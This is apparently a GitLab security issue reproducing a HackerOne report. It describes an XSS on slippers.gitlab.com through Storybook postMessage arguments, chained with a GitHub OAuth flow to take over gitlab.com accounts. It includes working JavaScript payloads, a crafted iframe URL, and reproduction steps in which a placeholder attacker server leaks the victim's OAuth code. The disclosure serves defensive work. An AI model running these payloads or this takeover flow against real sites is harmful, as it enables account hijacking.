XSS on slippers.gitlab.com lead to account takeover on gitlab.com abusing OAuth flow
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3393461](https://hackerone.com/reports/3393461)** by `joaxcar` on 2025-10-21, assigned to `GitLab Team`:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## HackerOne Analyst Summary
## Summary of the issue
The researcher found XSS at `https://slippers.gitlab.com/` by injecting iframe to use Storybook component, and sending malicious payload to the iframe via postMessage key `storybook-channel` in `href` value.
## Steps to reproduce
1. As the **attacker**, launch **attacker's** Linux server -> Configure the server to run PHP
2. As the **attacker**, create directory `/var/www/html/gitlab/story` -> Place researcher's PoC scripts [leak.php](https://h1.sec.gitlab.net/a/5440df1e-9531-4aed-a25d-43696f9b470e/leak.php), [index.php](https://h1.sec.gitlab.net/a/57617c5c-1519-4508-96b1-0f03b32f257d/index.php), and [set_state.php](https://h1.sec.gitlab.net/a/4c468e43-b355-4e26-9722-51583724796b/set_state.php) in it:

3. As the **attacker**, in **attacker's** browser, open `https://gitlab.com/users/sign_in` -> Open browser DevTools -> **Console** -> Run following JS code:
```javascript
fetch("https://gitlab.com/users/auth/github", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "authenticity_token=" + $$("meta[name='csrf-token']")[0].content,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
```
4. As the **attacker**, copy link address and get `state` value from error message:

5. As the **attacker**, open `http://ATTACKER_SERVER_HOST/gitlab/story/set_state.php?state=ATTACKER_STATE`, where `ATTACKER_SERVER_HOST` is **attacker's** server host and `ATTACKER_STATE` is state value from previous step:

6. As the **victim**, in **victim's** browser, sign in **victim's** GitLab account using sign in with **GitHub**:

7. As the **victim**, in **victim's** browser, open `http://ATTACKER_SERVER_HOST/gitlab/story/index.php` -> Click **Click me**:

8. As the **attacker**, in **attacker's** browser, open `http://ATTACKER_SERVER_HOST/gitlab/story/leak.php`. You can see **attacker** is now signed in as victim:

## Impact statement
Malicious actor can trick victim to visit malicious site, and sign in victim's GitLab account.
If you have any questions or concerns about this report, feel free to assign it to `H1 Triage` via the action picker with a comment indicating your request.
## Original Report
#### Summary
There exists an XSS vulnerability on `slippers.gitlab.com` that abuses the hosted `Storybook` component. The XSS can be used to perform a session takeover of accounts on main gitlab.com that have a `GitHub` account tied to their account.
On `slippers.gitlab.com` there exists a `component` called `slpbutton` this `component` can take an optional `href` argument. Putting this `href` to a `javascript:` URL will trigger an XSS when clicked. You can test this by visiting https://slippers.gitlab.com/?path=/story/components-slpbutton--primary and putting `javascript:alert()` in the `href` config.
Storybook by default allows arguments to a component to be sent to a preview rendered in an `iframe` through postmessage. This way of configuring a component will not have any values automatically sanitized. An attacker can thus load the `slpbutton` component in an iframe like this
```
https://slippers.gitlab.com/iframe.html?args=slot%3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&viewMode=story&id=components-slpbutton--primary&globals=
```
and then send a postmessage to this frame like this
```js
frames[0].postMessage(JSON.stringify({
"key": "storybook-channel",
"event": {
"type": "updateStoryArgs",
"args": [
{
"storyId": "components-slpbutton--primary",
"updatedArgs": {
"href": "javascript:alert(document.domain)",
"disabled": false,
"slot": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
}
],
"from": "88cc84b2ccbed8"
},
"refId": null
}), "*")
```
As this page can be framed on any domain, the attacker can create the XSS as a hidden iframe like this (we can here see the background iframe with an opacity 10% to see what's going on)

Not much can be done on `slipper.gitlab.com`, but as it's a subdomain of `gitlab.com`, we can perform some dangerous attacks. One of them is a session takeover of victims who have a GitHub account connected to their GitLab account. We can then perform an [OAuth dirty dancing](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/) takeover.
As GitHub OAuth allows to modify the `redirect url` to any subdomain of the configured domain. We can just send the victim to the OAuth flow and point the `redirect url` to `slippers.gitlab.com`. When the OAuth `code` is returned, we can reach into the new window with our XSS and exfiltrate the `code` and log in to Gitlab as the victim user.
The flow goes like this:
1. The attacker starts a GitHub OAuth login flow on their end
2. The attacker sends the GitHub OAuth link (with the attacker's STATE` param) to the victim
3. The victim who is already logged in to Gitlab and Github will just flow through the OAuth flow without any interaction.
4. The attacker now leaks the `code` that is tied to the attacker's state, but the victim's session.
5. The attacker can now finalize the flow and log in to Gitlab.com as the victim
#### Steps to reproduce ATO on gitlab.com
__As the attacker:__
1. Open `Chrome` (or any other browser)
2. Go to https://gitlab.com/users/sign_in
3. Open `dev tools` and run this in the terminal
```js
fetch("https://gitlab.com/users/auth/github", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "authenticity_token=" + $$("meta[name='csrf-token']")[0].content,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
```
4. There should be an error message in the console stating
```
Refused to connect to 'https://github.com/login...
```
Right-click the link and do `copy link address`
5. Paste the link anywhere and only select the `state` part of the url (the random string after `state=`)
6. Use the state to form a link like this (you can also self-host the attacker page )
```
https://poc.j15.se/gitlab/story.html?state=STATE
```
where `STATE` is the state from step 5
(__note:__ this manual copy-pasting of `state` is just for the POC, this can be made server-side in a real attack and will not be part of the URL)
__As the victim__
7. Open another browser session
8. Log in to GitLab.com using `GitHub Oauth`
9. Visit the attacker link from step 6
10. Click the button `Click me` (a real attack would use a cookie banner or the Cloudflare "I am a human" screen)
11. There will be a pop-up and then it will close
12. In the POC pag,e you will see a link that the attacker can now use to log in as the victim. __NOTE HERE that this link is shown in the page for convenience to make the POC simple, in a full-blown attack, this would be sent using a backend to the attacker__
__As the attacker__
13. In the attacker's browser (where you ran step 2) visit the URL from step 12
14. The attacker should now be logged in to `gitlab.com` as the victim user
#### Video

---------
#### Details of the ATO POC
I have tried to submit `OAuth dirty dancing` POCs in a number of ways, both with this more copy-and-paste flow and also with full-blown automatic exploitation. I feel like it is always hard to follow, and that the copy-and-paste flow often makes more sense. But if you want I can code together a quick "full exploit as well"
The ide from the OAuth dance is this:
1. The attacker is generating a STATE, this can be done automatically in the backend when the victim visits a page.
2. The `code` that is returned is tied to the `state`, and the full redirect URL will only work in the attacker's session. The attacker will get logged in as the victim in the attacker's browser
3. In the POC, the victim browser presents the final URL. The victim will never see this in a real scenario; the victim will only see the page open and close, and then nothing.
4. The `code` is returned to `slippers.gitlab.com` and is thus not consumed or even known about for `gitlab.com`. My POC page takes the returned URL and runs `replace("slippers.", "")` on it that's why it's not seen in the page
#### Severity
I want to emphasize that the XSS this time is on `slippers.gitlab.com,` but the impact of the provided POC is on `gitlab.com` without any restrictions regarding access for either the attacker or victim on that domain. This puts the report on the scope for `gitlab.com`.
`AC: high` this time as there are some limiting factors such as the need for GitHub auth and active sessions, and the attacker page.
Privilege required is `none` as the attacker does not need any account on the targeted GitLab instance.
#### Output of checks
This bug happens on GitLab.com
#### Impact
XSS on slippers.gitlab.com leads to session takeover on gitlab.com by abusing Github OAuth flow
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [Screen_Recording_2025-10-21_at_22.48.53.mov](https://h1.sec.gitlab.net/a/dc7fc06b-f031-4eb0-83ed-a97a684a67c5/Screen_Recording_2025-10-21_at_22.48.53.mov)
* [Screenshot_2025-10-21_at_22.59.52.png](https://h1.sec.gitlab.net/a/f3261a00-5f48-4872-b2a1-cbda79f055a3/Screenshot_2025-10-21_at_22.59.52.png)
* [poc.html](https://h1.sec.gitlab.net/a/e09ba5f6-7245-4ac0-80bd-9b01b4b0b561/poc.html)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue